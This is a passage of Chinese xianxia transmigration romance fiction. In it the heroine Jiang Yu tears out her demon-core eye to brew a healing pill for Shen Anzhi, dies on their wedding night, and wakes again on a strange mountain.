沈安之又陷入了新一轮更深的昏迷。 姜喻自我麻痹的一头扎进丹房,丹炉日夜不息燃烧着灵火,空气里弥漫着浓郁的药香。 她像上了发条的木偶,眼里就只剩下丹方与灵材。熬得眼底发青,盼着抑晦丹能快些,再快些。 原以为沈安之醒来不过是几日光景的事,谁知日子在丹炉的燃烧声中一天天溜过,数不清的玉瓶堆满了她的案头。 窗外枯荣轮转,沉睡的人却仿佛被时光遗忘,始终不见半分醒转的迹象。 能请的医修踏破了门槛,连鹤门宗那位向来神龙见首不见尾的宗主谢禾都被她硬是拉来了。 谢禾凝神探查良久,最终只是缓缓收回手,对着榻上的沈安之沉沉叹出一口气,带着迟来的悔意与深重的无力:“我竟不知这孩子何时已至这般境地了……” 姜喻心乱如麻,攥紧拳头快步离开,刚步入丹房,敏锐地察觉全身被一股奇怪的气息捕捉和笼罩。 诡异的睡意如潮水袭卷,她长睫微颤强忍着看了一眼四周,“谁?”妖力无声抵抗着睡意,可强撑着身影只模糊看清一抹红。 红色? 姜喻软绵绵倒在地面,最后一眼看到的是一双逐渐走近,停在她两步外的绣花鞋。 窈窕的身影缓步走出,将她抱回贵妃椅上。 姜喻昏昏沉沉,意识下坠。 待昏沉散去,她赫然置身于一片诡谲天地。 自己脚下是翻涌着墨浪的幽深海水,她却如履平地般悬于水面,足尖不染分毫。 眼前瞬间破碎,刺目的黑与惨淡的白疯狂交叠闪烁,如同大屏幕的雪白碎片挥洒又聚拢,带来阵阵眩晕。 一个许久未闻却熟悉嗓音,带着一丝难以捉摸的倦意,穿透这片混沌:“许久不见……看来,你的任务,已完成大半了。” 话音落处,原主“姜喻”的虚影自翻腾的墨浪中缓缓凝聚,身影由淡转浓。 她周身湿透,单薄的绯红衣衫紧贴身体,有数道伤口皮肉外翻,深可见骨。血迹在墨色海水的映衬下更显刺目,她竟如初见那般,如出一辙。 墨色海水见到“她”便汹涌个不停,她频繁闪躲才走到姜喻身侧。 说来也怪,汹涌的墨浪触及姜喻身侧,竟如被驯服的凶兽般一寸寸平息下去,重归死寂。 姜喻凝望着那张与自己一般无二的脸庞,指尖悄然掐进掌心,声音裹着三分警惕七分探究:“你来这里,是想干什么?” 她小心观察“她”的神情,企图看出些什么。 “我知晓你要炼出抑晦丹去救他,但你可知,为何你寻寻觅觅,无论换多少法子都炼制不出抑晦丹吗?” “姜喻”面无表情地陈述着仿佛一件不足为重的事情,这一句话提问却在姜喻脑海里炸响。 “为什么!”急切追问。 “她”见姜喻亦如所见的那般无动于衷到满脸惊愕紧盯,方才绕着她走跑一圈,不疾不徐地开口:“自然是因为,你所拿到的药方,从一开始就有残缺。” “什么?”姜喻瞳孔微缩,可药方本身和原著所写就是一模一样,她绝对不会记错,难不成……从一开始,沈安之所知的药方就不齐全,他耗尽心血苦苦寻觅,竟是一场贯穿原著的、彻头彻尾的一场空…… “以你如今的实力,妄想炼出完整的抑晦丹,痴心玩笑,哪怕给你十年,二十年……” “姜喻”嘲弄地扯了扯唇角,晦暗眸底幽深翻涌,笑得意味不明,却不达眼底。 没给她思索的时间,话音刚落,沾满刺目鲜血,与她一般无二的脸庞陡然欺近。血腥气扑面而来,如愿以偿地捕捉到对方长睫颤抖。 “姜喻”嗓音低沉下去,低沉喑哑道:“所以呢?你现在就要认输放弃吗?” 姜喻猛地攥紧手心,指甲深深陷入掌心,用力摇头,“不,我不会放弃!十年、二十年我都等得,可沈安之他等不了。” 猛地抬眼直视“她”,急切追问:“告诉我,究竟要怎样才能炼成它?” “姜喻”染血的手缓缓抬起,沾血的手指轻轻点向姜喻的左眼,几乎要触碰到微颤的长睫,“用这里,你道行所化的妖丹。这才是最关键的一味‘药’。” 姜喻指节攥得发白,“你的意思是,我这左眼,就是重明鸟的妖丹?” “是。”“姜喻”颔首认同,步履无声地在她身旁不紧不慢的踱步,眸光一眨不眨地看向她,“重明鸟一族,双目即丹元所在。” 胸腔里那颗心狂跳着,姜喻倏然抬眼,没有任何迂回道:“要怎么取?” 脚步倏然顿住,“她”侧过身,“你可想好了,取出妖丹的过程并不好受。剥离妖丹,痛楚蚀骨销魂。多少重明鸟宁肯亲手剜目自毁,也不愿承受剥离之痛。” 姜喻挺直了单薄的脊背,“我不怕。横竖……任务也算完成了,不是吗?” “真是乐观。”“姜喻”低笑出声,眼底掠过一丝了然,“我记得,你不是最怕疼了吗?” “我怕疼,可总要有人付出代价,去换取一些东西。我自愿用丹药换取沈安之一命,而且我也有自己私心,不是嘛。”她眸光紧紧看向“姜喻”。 “不愧是选中的人。归家心切,倒是一派天真无畏。既已决定,最后提醒你,剥丹之痛,蚀骨焚心,绝非儿戏。以你如今修为,妖丹离体,便是死路一条。” “知道了。”姜喻闭了闭眼,再睁开时,眸底澄澈如洗,再不见半分惧色。 她深吸一口气,下定了决心,目光在四周荒芜的墨色海面掠过:“怎么走?” “姜喻”的幻影抬手虚指前方:“穿过迷雾便是归途。” 眼见绯红身影毫不犹豫地转身,步履坚决,“姜喻”的幻影凝望着她,笑了一下,如同被戳破的泡影消散,不留一丝痕迹。 姜喻循着方向前行,周遭景象悄然变化。脚下海水,越走越是匪夷所思地绽出点点纯白。 起初零星几朵,怯生生浮于墨海之上,形似单瓣茉莉。 随着她越走越远,渐渐地,白色花朵从一丛到一簇,疯狂蔓延滋长,直至铺天盖地,几乎将她前行的路径淹没。 茫茫花海在黑色中铺陈,诡异凄美。 终于,一团灰白迷雾在前方显现。 姜喻未有迟疑,抬步便要踏入其中。 就在此时,一只手掌骤然自身后袭来,掐住姜喻纤细的腰窝,力道之大,几乎要将人嵌入阴影之中。 那手指修长有力,很是熟悉,深深陷入她腰侧的衣料。耳畔低沉含笑的嗓音,裹挟着温热的气息,却危险地贴上她敏感的耳垂:“这是打算去哪?” 第65章 姜喻猝然侧首,撞进沈安之幽深的眸子里。他唇角紧抿,神情落寞,环抱她的手臂将她牢牢禁锢在怀中。 “你为何在这里?”姜喻疑惑一瞬。 “我不该在这里吗?”他嗓音低沉,眸光投向漆黑海水中载沉载浮的雪白花朵,瞳仁骤缩,环抱她的力道不经意泄了几分。 姜喻趁机从他怀中灵巧的退开一步,转身正对他时眉眼弯起,漾开故作轻松的笑。她不知他听 了多少去,索性装着糊涂:“这里是哪?” “心海,”他答得言简意赅,目光却贪婪地锁在她脸上,指尖抬起,带着一种渴望,在触碰向她的脸颊的咫尺停下。 他贪恋地望着她的面容,指腹隔着空气,眷恋地摩挲过她颊侧的轮廓,叹息低语:“我的心海,怎么可能出现你?果然只是幻觉吗?” 心海? 这是沈安之的心海? 可为何这般黝黑,又无边际。 姜喻悄然压下眼底的惊诧,贝齿轻咬了咬唇,微微颔首:“是啊,我是……你的幻觉。” 指着灰白色迷雾,“我要从这里离开了,你,要和我走吗?” 沈安之微蹙眉宇,锐利的视线带着审视将她上下扫过,在她亲口承认是“幻觉”的刹那,环抱双臂,周身气息骤然冷却,向前几步,警惕地睨视着那片诡谲的灰白迷雾:“离开?从这里?” 姜喻迎着他目光颔首:“是。” 沈安之回眸,眼底寒光乍现,唇边扯出一抹冷峭的弧度:“哪怕是幻觉,敢化作她的模样诓骗我,待下次……” 他想说“定亲自回来杀了她”,可那幻影眉眼鲜活,与他日思夜想、思之如狂的容颜别无二致,狠厉的话语竟硬生生卡在喉间。 何况……他未必还有“下次”活着的机会。 沈安之大步流星走向迷雾边缘,却在踏入的前一瞬顿住脚步。侧开身让出身位,听声音辩不出情绪:“你先走。” 这是在怀疑她,还是防备她? 姜喻内心哭笑不得,她身形擦过他的肩膀,脚步顿了顿,抬眸深深看了他一眼。随即抬脚踏入迷雾,她回眸一笑:“我走啦,沈安之。” 眼瞧着她的身影逐渐消失灰白迷雾中,渐行渐远,轮廓越来越淡。 陡然心头那股不祥的预感如潮水涌来。他闷哼一声,皱眉死死捂住心口,这里刺疼的厉害。 确认那迷雾并无凶险,沈安之压下疑虑,不再犹豫地紧随其后,没入迷雾之中。 * 姜喻自贵妃椅上悠悠转醒,揉了揉酸胀的太阳穴,目光投向丹炉里明灭不定的灵火,神思有些恍惚。 谁把她抱来这儿的? 昏迷前最后映入眼帘的,是一双绣花鞋尖…… 思绪尚未理清,贴身小丫鬟已气喘吁吁地敲响了丹房门扉,声音急切:“少城主!少城主!沈公子……沈公子他醒了!” 姜喻心口猛地一惊,几乎是弹坐起身,连发髻微散都顾不得,一把拉开房门:“当真?!” “千真万确!”小丫头跑得满面通红,发髻都散了几分。 姜喻再顾不上其他,提起裙裾冲了出去,穿过寂静的回廊,直直扑向沈安之那扇紧闭的厢房门,“师弟!” 姜喻与他的视线隔空相撞,心中绷紧的弦松懈,眼尾瞬间洇开一抹薄红。 她几步上前,利落地执起茶壶,为他斟满一杯灵茶。 沈安之接过她递来的茶盏,低头啜饮,久未言语的嗓子艰涩滞重,开口时嗓音喑哑低沉:“师姐。” 一声入耳,姜喻心头酸胀,连连点头,“醒了就好。” 沈安之微凉的指腹,贪婪地摩挲过她泛红的眼尾,轻柔却带着占有的吻落在那里。“师姐莫不是怕我死了?”沈安之低笑一声,苍白的唇勾起,故作轻松,“可我沈安之,就算是死,也得冠着姜喻之夫的名,才肯闭眼。”话音落下,他眸光紧锁着她,藏着不易察觉的紧张。 姜喻心底又羞又恼,强压下眼眶里险些滚落的水光,深深望进他眼底一笑:“师弟既有力气打趣,不如省心思想一想如何筹备我们的婚嫁之事。” 沈安之浑身一僵,瞳孔骤缩,难以置信地紧盯着她的眉眼。攥紧她的手腕,急急按在自己胸膛,声音因激动而发颤:“你……说什么?” “我说,”姜喻迎着灼热的目光,一字一句,清晰无比,“我要做你的新娘子,沈安之的新娘子。三日后,如何?” 三日? 沈安之眸光微闪,迅速在心中衡量自己残存的气力,重重点头,眼底翻涌的晦暗尽数被狂喜吞噬。将人狠狠揉进怀中,下颌抵着她柔软的发顶。 三日清醒的时间,足够了。 姜喻回抱住他精瘦的腰身,脸颊埋在他颈窝,唇角扬起。 这三日,姜喻只花了一日便集齐了所需药材,只差一枚关键的妖丹便可开炉炼丹。 所幸婚嫁一应物事,姜檀奚早已备妥,诸事推进得极快。 余下两日,天刚蒙蒙亮,姜喻便被门外轻叩声扰醒。 门外,沈安之静立在熹微晨光里。 “怎么来这么早?” “带你去看些东西。”沈安之牵起她的手,引她走向她的主卧。 “这是?”姜喻望着紧闭的房门,有些不解。 “推门看看。”沈安之侧身让开,目光紧紧落在她脸上,带着隐秘的期待。 姜喻依言抬手,轻轻一推,“吱呀”一声,满室暖红倾泻而出。 莲烛台燃着龙凤喜烛,烛泪如珠,映得纱幔似流淌的金河,帐帘垂落的璎珞正轻晃,正中央的“囍”字,可谓是喜气洋洋一片。 竟与她梦中婚房别无二致。 “如何?”沈安之微挑眉梢,眸光紧锁着她瞬间怔愣的面容,不肯放过一丝细微变化。 姜喻睫羽轻颤,惊愕地侧眸望向他:“咦?居然……”与她所见梦境一模一样。 “嗯,可还喜欢?”他牵着她走进去,语调似漫不经心,眼尾余光却一眨不眨地落在她脸上。 “喜欢。”姜喻唇角弯起,下颌微扬。 沈安之笑着凑近在她耳畔,“喜欢就好。”说完,暗自松了一口气, 他引她停在一面山水屏风前,身形绷紧,喉结滚动了一下,才牵着她绕过屏风。 屏风后一件华美的喜服静静悬着,金线织就的重明鸟羽翼流光,振翅欲飞,美到几乎要破锦而出。 “仓促了些,针脚若再细密些便更好了……”沈安之修长的手指轻颤,抚过衣袖上繁复的纹路,侧首凝望她。 “这是你亲手做的嫁衣?”姜喻蓦然抬眸,指尖无意识地攥紧了他的手,强压下的情绪在那片灼目的红前似要决堤,眼底瞬间漫起水光。 “是。”他声音微哑,“若你不喜,我们便用原先的那件……” 姜喻静默了一瞬,才仿佛从情绪中挣脱。她侧过脸,绽开笑容,斩钉截铁道:“不,就用这件。它最好。” 沈安之眼底的阴霾被她笑颜点亮,笑意漾开,仿佛看到她身披嫁衣的模样。 狂喜与紧张瞬间攫住了他,竟一时失语,只知将她拥入怀中。 姜喻的脸埋在他胸前,双手死死攥紧他背后的衣料,强撑的欢喜崩塌,眼底的心虚、悲恸与不舍如潮水般汹涌漫上。 她偏头,飞快抬手抹去滚落的泪珠,声音带着强装的轻快:“我没事,我这是喜极而泣。” “嗯。”沈安之低应,眸光从未如此温柔,为她一一擦去眼泪。 姜喻抬眸微微一怔,他眼底盛满温柔,让她一瞬哽咽地点头。指腹擦地眼尾泛红,沈安之心疼地吻在她眼尾,将泪珠一颗颗吻走。 再哭,他怕自己会忍不住把一切都告诉她。 沈安之恋恋不舍地将她送回房,门扉合拢的瞬间,姜喻脸上的伪装顷刻崩塌,垂丧耷拉着脑袋。 她走到案前,提笔的手抖得不成样子。她深吸一口气,快回家了,这不过是兴奋过头罢了。 第一封是她给姜檀奚,恳求他日后务必看顾好沈安之。她所做好打算,一切后果与沈安之无关。 第二封是……和离书。 墨迹在纸上晕开,姜喻停笔良久,捂着难受的心口,闷闷地落笔“和离书”三字。 待她走后,沈安之若遇心悦之人,便再无阻碍。哪怕是风云城,也不能随意找他的麻烦。 姜喻看着信笺早心不在焉,恍然之间,滚烫泪珠“吧嗒”砸落,她这才惊觉自己落泪了。 为什么她要这么难受…… 泪珠瞬间在信笺上洇开大团墨渍,模糊了字迹。 姜喻不敢应对这些墨渍,仿佛每一个都在因她的不舍而在低语。狠狠心闭上眼,将纸揉碎丢开,重新铺开,用尽全身力气压下泪意,稳住手腕一笔一划写下去。 天快破晓前,姜喻取出一枚小小的的玉佩,注入讯息后放入了梳妆盒,安排人告知顾疏雨后她便放心了。 玉佩将在沈安之行冠礼之日准时送达。 这是她谋划的最后一件事了。 姜喻望着指尖残留的墨痕,扯出苦涩一笑。 连她自己都未曾料到,丢三落四、得过且过的自己竟有一日,能这般思虑至此。 风云城风俗,婚嫁前新人不得相见,否则必招终生不幸。 沈安之素来嗤笑鬼神,闻此竟真忍到最后一日未曾寻她,倒阴差阳错,给了姜喻铺陈所需之机。 临别在即,整日未得沈安之音讯,姜喻心中焦灼,在屋内竟不知不觉地踱步了几个来回。 暮色四合时仍水 米未进,推开房门打算散散心绪,却一眼撞见门槛外静静搁着一只食盒。 掀开木盖,里面盛着她最爱的番茄炒蛋,旁边偎着一小包油纸裹的栗子糖。 捻起一粒含入口中,蜜糖裹着暖意化开,甜得她喉头一哽,眼尾微微发红。 待到一夜过去,天终将破晓。 房门被鱼贯而入的小丫鬟们推开,她们簇拥着姜喻,描画起层叠精致的妆容。菱花镜中映出少女绝艳姿容,眉心那枚重明鸟花钿殷红。 “少城主,嫁衣……用哪一件?”捧着锦盘的小丫鬟问道。 姜喻眸光落在那件由沈安之亲手缝制的嫁衣上,“就这件吧。” 丫鬟们手脚麻利地为她更衣,又递来一柄绣着同款重明鸟的团扇。 姜喻垂眸掩去情绪拿起,任由丫鬟搀扶踏出房门。 门外灯火幢幢,映着姜府为这场的婚礼所做的的喜庆布置。 鹤门宗路途遥遥,姜喻为行炼丹之便,这趟婚礼该有的排场虽一样不少,但所在宴席就在姜府之中。 沈安之一身喜袍,身姿挺拔如松。他眉眼深邃,俊朗逼人映得他眼尾那一点朱砂痣妖异。 负手长身静立,目光灼灼,喉结滚了滚,目光紧紧锁住由远及近的姜喻身上。 纵然团扇半掩娇容,可她眉梢眼角的每一寸轮廓,早已在他心底描摹过千遍万遍。 待她行至跟前,那一身嫁衣衬得她美的惊心动魄。 沈安之呼吸一窒,几乎本能地伸出手去扶她,指尖却在触及她衣袖前一顿。 伶俐的丫鬟稳稳扶住姜喻的臂弯,将她扶稳到沈安之一侧。 沈安之侧眸,目光贪婪地描摹着咫尺之距的侧颜。 扇沿之上,她长睫低垂,在瓷白肌肤上投下小片阴影,鼻尖玲珑,唇瓣被口脂染得如同熟透的樱桃。 一种近乎餍足的狂喜无声蔓延。 人生得意须尽欢,这一刻,他沈安之,得了人生最圆满的“欢”。 拜高堂时,沈安之余光一分一毫未曾从姜喻身上离开。 如有实质的目光投下,姜喻握着扇柄的指节悄然收紧,酸涩感在四肢五骸间流转。 今夜过后,她与沈安之,再无瓜葛。 第66章 随着最后一声“礼成送入洞房”,姜喻缓步而去,沈安之心下雀跃,紧绷身形打算抬步跟上,却被一旁姜檀奚半拖半拽,拉去满堂宾客敬酒,认识姜家同族和各个宗门。 “咔”地一声,门扉轻合,彻底隔绝了外面的喧嚣。 姜喻手心早已濡湿一片,微颤手放下团扇,支走最后一个小丫鬟,提起嫁衣裙裾大步走出门。 她深深地回望了一眼房内摆置,每一处皆是出自沈安之的手笔。硬生生收回目光,不再顿足,借着隐匿符避开人群,走小路飞速行至丹房。 准备齐全的药材按照比例依次放入丹炉之中,在丹房四下布下隔音结界。 她站在丹炉前,妖力逐渐凝聚在手心靠近左眼,身体几乎本能得使她生出退却的胆怯之心。 心紧张地砰砰直跳,几乎窒息地紧迫感压下来,随着她强行渡入妖力探入左眼之中,剧痛席卷全身,她颤抖着稳住手中妖力。 所谓的肝肠寸断的疼,大抵如此…… 姜喻屏息硬生生用妖力自左眼拖拽出一颗血红妖丹,喉间溢出幼兽般的呜咽,冷汗浸透的碎发黏在惨白额角,终是支撑不住蜷缩在地,滚烫的泪混着汗珠砸在石砖上,死死咬住下唇也难敌剥离妖丹之痛。 “啊啊啊啊啊啊——” 疼啊…… 疼疼疼疼疼疼—— 痛痛痛痛痛痛痛痛痛—— 直到最后一丝妖力如余烬般彻底消散,那枚血红的妖丹才滚落在地。 姜喻竭力睁大双眼,视野却如同蒙尘的琉璃,只剩一片灰暗。 她强压下喉间涌上的腥甜,四肢百骸撕裂般的叫嚣着疼,紧闭双眼,凭借残存的记忆,指尖颤抖着抚上丹炉边缘。 摸索,再摸索…… 终于触到尚存微温的妖丹。 姜喻咬紧牙关,以最后一点力气,将它重新送入炉心。 妖丹甫一入炉,炉中爆出一阵凄厉欲绝的鸟唳,仿佛有什么在炽焰中焚烧殆尽,连同她的生机一道流失。 整个丹炉剧烈震颤,在震动之中,一缕沁人心脾的异香悄然弥漫开来。 姜喻心中一紧,凭着对丹房每一寸的熟悉,摸索到炉盖,猛地揭开。炉底静静躺着一颗墨色丹药,表面烙印着火焰纹路。 成了! 是抑晦丹! 姜喻小心翼翼地将丹药拾取而出,纳入储物袋,仿佛捧着稀世珍宝。姜喻踉跄起身,回光返照般恢复了些气力。 眼前几乎只剩下模糊的光影轮廓。 她伸出手借着墙壁、木架,一路跌跌撞撞往回走。 倒也不算全无“收获”。 剧痛早已超越感知的极限,纵然一路不知跌倒了不知多少次,撞上了不知多少回,除开皮肉之苦,她周身只剩些麻木的钝感。 打开房门,重新整理好仪态端坐好,姜喻早已精疲力尽,眼神若是不细看,隐约露出涣散之色。 木门“吱呀”一声轻轻推开,循着声音看去,姜喻只瞥见隐约的轮廓。抄起手边的团扇,堪堪掩住半张脸, 沈安之踏入,周身刻意驱散过酒气,唯余面颊上薄薄一层醉意熏染的红晕。他眸色却清亮,目光灼灼穿透红烛光影,直勾勾落在扇后的人影上。 指尖难以自抑地微微颤抖,他抬手极轻地取下那柄碍事的团扇。怀抱便将她全然笼罩,喉间溢出满足的喟叹:“终于,终于,你是我的了。” 姜喻周身依旧萦绕着那股安抚人心的馨香,只是今日,香气里混入了些许胭脂水粉的气息,以及……一丝被掩盖到若有似无的药味。 只当是她整日泡在丹房,未曾深想。 沈安之捧起她的脸颊,眷恋地看清她的面容,缱绻至极地在眉心落下一吻。 触手的凉意让沈安之禁不住关切地蹙眉,捧在手心紧盯她,“怎么看起来这么疲倦?手也这样冷?” “大抵是起太早了。”姜喻抬眸看向沈安之的虚影,嗓音喑哑着有气无力。 深知沈安之敏锐的洞察力,她佯装出困倦模样,掩口打了哈欠,顺势把话题岔开,“我们该喝合衾酒了。” “好。”沈安之期待地眸光微闪,合衾酒杯置于案上,他拿起轻笑着递给她。 姜喻接过,眸光闪了闪,手臂环绕,仰头将象征永结同心的醇酒一饮而尽。 气息拂面,心知沈安之总算喝下去,七上八下的心稳住了。 姜喻喉头微哽,扬唇凑近在他肩胛骨靠了靠,小声道:“我好饿,可不可以去替我取些糕点来?” “好,等着我。”沈安之看着她撒娇似的面容,心中微动,转身依恋地一步三回头,不舍错过她的每一个笑颜,忍不住再道:“等着我。” “好啊,快去吧。”姜喻笑盈盈地托腮低声应着,掩盖住支撑不住身形。 直至脚步声消失在门外,姜喻强撑的身形一软,恍然间已从椅子上直愣愣地摔倒在地。 一滴、两滴…… 嫣红溅落在地,化作一朵朵惊心的“梅”。 姜喻弯腰蜷缩着,一只手死死捂住唇,呛咳着却再也压制不住喉头的液体,粘稠温热自指缝间溢出。 沈安之,我给你一个“家”,我也要回家去了。 眼前摇曳的烛火模糊、黯淡,姜喻最后的一丝生机抽离,眼前蓦然发黑,失去知觉,彻底陷入长久的黑暗。 * 另一边,沈安之取上食盒,指腹在食盒边缘反复摩挲,泄露出几分深藏的、近 乎焦灼的渴盼。心底雀跃地按耐不住,时刻在脑海描摹着姜喻娇俏晃动的笑颜。 他仿佛能预见,她是否会嫣然一笑,拈起甜糕,像他梦里千百遍演练过的那样,抬起清亮妍丽的眸,低低地、软软地唤他一声——“相公”。 念头刚起,烫得沈安之耳根猝不及防地烧起来,嘴角抑不住地掀起,被自己想法取悦地脚步愈发轻快急促。 罢了罢了,知晓姜喻脸皮子向来薄,这一次他要一五一十告诉她梦境遇见的真相。她只需唤他一声“安之”,永远眸光有他一个人,足矣了。 走得踉跄地一步,窒息感猛地窜入心坎,心脏一阵阵地尖锐刺痛。 一股不好预感越发强烈。 沈安之还未掐诀猛地一怔,无形的力量自丹田涌起,那熟悉妖力陡然从他心口狰狞的旧疤溢出一丝,又于四肢百骸游走。 气息所到之处竟化作温润灵流,如春雨过境般流淌在全身的经脉之中,胸口翻搅的灼痛如潮水般离去。 “姜喻——” 沈安之吐出一口殷红,垂眸凝视掌心未干的血迹,喉间溢出嗤笑,眼前发黑,他单膝跪地咬破舌尖,看向前方难以置信: “姜喻,你骗我!” 你说过永远不会骗我,你说过要等我回去…… 门扉被狂奔而来的颤抖身形撞开,夜风裹着血腥气灌入。 满目朱红,可唯有地面的猩红和她嘴角溢出的血丝,最为刺眼。 沈安之呼吸窒住,目光猝然钉在地面的身影,瞳孔紧缩,如遭雷击般整个人僵在门槛处动弹不得。 失了魂似的扑近,喉间已有千言万语,指尖触到冰凉腕脉的刹那,尽数冻结悬停。 那里一片死寂。 巨大的恐慌攫紧得心脏刺痛,沈安之猛地将人狠狠捞进怀里,双臂勒紧,仿佛要将这具失了生气的身体揉进骨血。 “醒醒……”紧咬的齿关溢出绝望的颤声,滚烫的泪珠失控般,大颗大颗砸落在少女苍白冰凉的唇角,“姜喻你醒醒!哪怕……哪怕再骗我一次也好!再骗我一次好不好?” 他的哀求再唤不醒怀中的无声无息的人儿。 那总漾着没心没肺笑容的脸庞,此刻紧闭双眸,不言不语。 她再也不会亮晶晶地眼眸看向他,轻唤他“师弟”,再也不会笨拙地试图靠近他,说着“我罩你”,再也不会重复着那一句“我信你”,“我等你”。 沈安之的怀抱收得更紧,再也无法发出不堪重负的悲鸣。 整个世界在他怀中彻底冷透。 沈安之失魂般,一遍遍低低唤着姜喻的姓名,哽咽苦涩哭笑着咬牙道:“你教会我‘心悦’,却还未能教会我怎么面对失去你。醒醒,醒醒,醒醒……” 漆黑心海骤然掀起狂澜,裹挟着绝望痛苦的罡风,瓢泼而下的黑雨,每一滴都凝出心魔的冷厉碎片。 沈安之自心海深渊中踏浪而出,墨发狂舞,衣袍猎猎,浑身浸透。 曾为姜喻盛满病态温柔的眸底,此刻,只剩下焚尽苍穹的偏执与孤寂。 无人能夺走她…… 天道? 亦休想! 眸底幽深翻涌出一抹红,一枚诡异的鸟翼妖纹在眉心如烈火般乍现,他屈身将地上冰冷身躯小心翼翼地打横抱起。 身体软软地依偎在他怀里,头无力地靠着他颈侧,脸庞苍白如纸,仿佛只是睡着了一般。 可他的世界为何死寂到可怕了…… 沈安之微凉的脸颊贴上同样冰冷的额,发出一声破碎的低笑。收紧手臂,抱紧的是……他的妻。 意识随之与心魔的撞上视线。 一步、一步,决绝地踏碎脚下翻涌的惊涛骇浪,意识在吞噬一切的心海急坠而去。 * 姜喻眼睫轻颤,意识从混沌里挣扎着醒来。她撑起身,眼底残存着一丝刚睡醒的雀跃微光。 可视线触及云雾缭绕的陌生山峦,眼底微光瞬间熄灭,被巨大的失望和茫然取代。 “为什么?”姜喻喃喃自语,难以置信地看清四周一切。 一股被欺骗后的怒火“腾”地烧起来。 她赤足攥紧的拳头,仰头对天喊道:“聊聊啊,我的任务不是完成了吗?为什么,为什么不是熟悉的宿舍?我现在到底是在哪个鬼山沟沟啊!” 第67章 委屈如潮水般汹涌而至,姜喻蹲下身,把脸埋进臂弯里。肩膀小幅度地抽动,泪水决堤般涌出,哭得打起嗝来。 不知过了多久,抽噎声渐弱,姜喻吸了吸鼻子,用衣袖狠狠抹了把脸,强迫自己压下泪意。 不行,她不能一直蹲在这里。 撑着发软的膝盖晃晃悠悠地站起身看清四周。叫天天不灵,叫地地不应。 得弄清楚到底是什么情况,她不该功成身退早早回家吗?怎么会又出现在这里。 姜喻茫然地深吸一口气,看清身上泥泞的绯红衣裙,决定先找到出路再说。 不知在山石间赤足跋涉多久,细密汗珠洇湿额发。足底被碎石子硌得生疼,她蹙紧眉,直到潺潺水声引着她寻到一条清溪。 溪水清澈,蹲下身,指尖轻触水面。涟漪荡开,倒影荡漾。 水中少女湿漉漉的眼,微翘的鼻尖,分明是姜喻自己。 茫然地眨了眨眼,肉身分明已死,这躯壳……竟丝毫无损? “怪事……”姜喻嘀咕着甩甩手,压下心头异样,认命地顺着山势往下探。 待夜幕降临,总算找到一条羊肠小径。山下如豆的灯火在夜色里摇曳,姜喻疲倦的精神一振,顾不得脚底火辣辣的疼,深一脚浅一脚地奔至那户亮着微光的人家门前。 “有人在吗?”清了清干涩的嗓子叩门。 夜风卷过院落,无人应答。 姜喻正欲转身另寻去处,吱呀一声,厚重的木门却从内拉开一道缝隙,昏黄的油灯光晕泻出,映出一个佝偻的影。 门缝后,布满沟壑的脸探出来,浑浊的眼睛看向她:“小姑娘……” “阿婆,打扰了。”姜喻眼睛弯成月牙,努力挤出一个友善的笑,可她裙裾泥泞、赤足沾血,模样着实狼狈,“我在山里迷路了,天太黑了……能不能叨扰一晚?我保证安静不打扰你。” 她双手合十,恳切地望着老妇人,眼神干净又明亮。 阿婆浑浊的目光在她赤足和那张脸上逡巡过,侧身让开一条缝,沙哑道:“唉……可怜见儿的,小姑娘进来吧。” “多谢阿婆。” 姜喻跟在阿婆身后,在一间落灰的偏房安顿下来。有个落脚地不必露宿深山,姜喻早已是感恩到一点不挑。 “多谢阿婆。”姜喻环顾简陋却干净的厢房,目光扫过墙角蒙尘的旧农具。 “小姑娘坐一会。”阿婆声音温和,端来一盆清水。 姜喻就着微凉的水抹了把脸,“好,阿婆。” 阿婆颤巍巍地铺好床褥,不多时又端进来两张烙得金黄、喷香扑鼻的饼,粗瓷碗底磕在木桌上。 “多谢阿婆。”姜喻接过,热气腾腾的大饼的热度一路滚烫进心底。她迫不及待撕下一块塞进口中,饼皮混着面香,瞬间填满空荡的肠胃。 暖意上涌,眼眶却不受控制地泛酸。姜喻慌忙背过身去,用袖口蹭过眼角,将湿意连同喉头的哽咽一同咽下。 恍惚间,她仿佛看见自家佝偻着腰,在灶台边忙碌的小老太太。若一切顺利,此刻她早该放了暑假回家才对。 腹中饥饿催促着姜喻吃得又快又急,阿婆默默放下盛着清水的陶壶和一双打着补丁的旧鞋,悄无声息地退了出去。 填饱肚子躺上硬板床,姜喻睁着眼望着梁上蛛网。 白日里强行压下的惊惶,对奶奶的思念,对归途的渺茫……种种心绪扰乱睡意。 思绪深处,一张俊朗的面孔骤然清晰。 ——沈安之。 难不成真要她回去继续攻略沈安之? 告诉他这个“惊喜”? ——她姜喻没死透,又活着回来了? 姜喻连连摇头。 当初敢决绝行事,不就是抱着必死的决心,赌一个回家的机会,才凉得透透的…… 况且,沈安之本就是个睚眦必报的主儿,最恨旁人欺瞒。 她这般“救”了他,又在他大喜之日、最得意时死在他面前。纵使换了他一条命,怕也是咬牙切齿,恨透了她这自作主张的“恩情”,恨不得将她挫骨扬灰才解恨吧…… 更别提“死而复生”的离奇,就算是修真界也是不好找补,她无从解释。 再去他面前晃无异于自投罗网,纯纯送人头。 如今回不了家,不正说明任务彻底失败。原主警告犹在耳边——失败的后果,是“灵魂湮灭、不入轮回”啊。 姜喻喉头一哽,抬手挡住湿润的眼眶,蜷进冰冷的被衾里,思绪纷乱如麻。 窗外狂风骤然尖啸,猛地撞开未闩紧的窗棂,风声挟着一股浓烈妖气席卷而入,还有一阵又一阵凄厉得令人头皮发麻的婴儿啼哭声。 不对劲,这鬼气森森的哭声分明是冲着她们来的。 “不好!阿婆!” 姜喻弹坐起身,胡乱裹紧披风冲到窗边,“砰”地一声关上窗户。强压下心中惊慌,凝神望向窗外黑暗。 几点幽绿惨淡的鬼火,悬浮在林间深处。 来不及多想,姜喻掌心一翻,强行催动体内微薄的妖力,一道微弱的白光疾射而出,狠狠撞入鬼火之中。 蓝焰应声四散,渗人的婴啼戛然而止。 姜喻背靠窗棂,长长吁出一口浊气,指尖仍在微微发颤。摸黑回到床边躺下,却不敢深眠,只留一丝清明警惕着周遭动静。 一夜无梦。 翌日,天光微亮,她将昨夜所见委婉告知阿婆,力劝她搬离这凶险之地。 阿婆枯槁的手一下下捶着酸痛的腿,浑浊的眼看着她:“小姑娘,我这把老骨头,走不动啦。我的孩儿们都在天乩城里讨生活,离了这儿,我能去哪儿……” “天乩城?”姜喻眼睛倏地一亮,“阿婆,我送您去,我送您去找您的孩子。” “这村子就剩我一个孤老婆子了,小姑娘,你自己去吧,莫要为我这累赘耽搁了……”阿婆连连摆手。 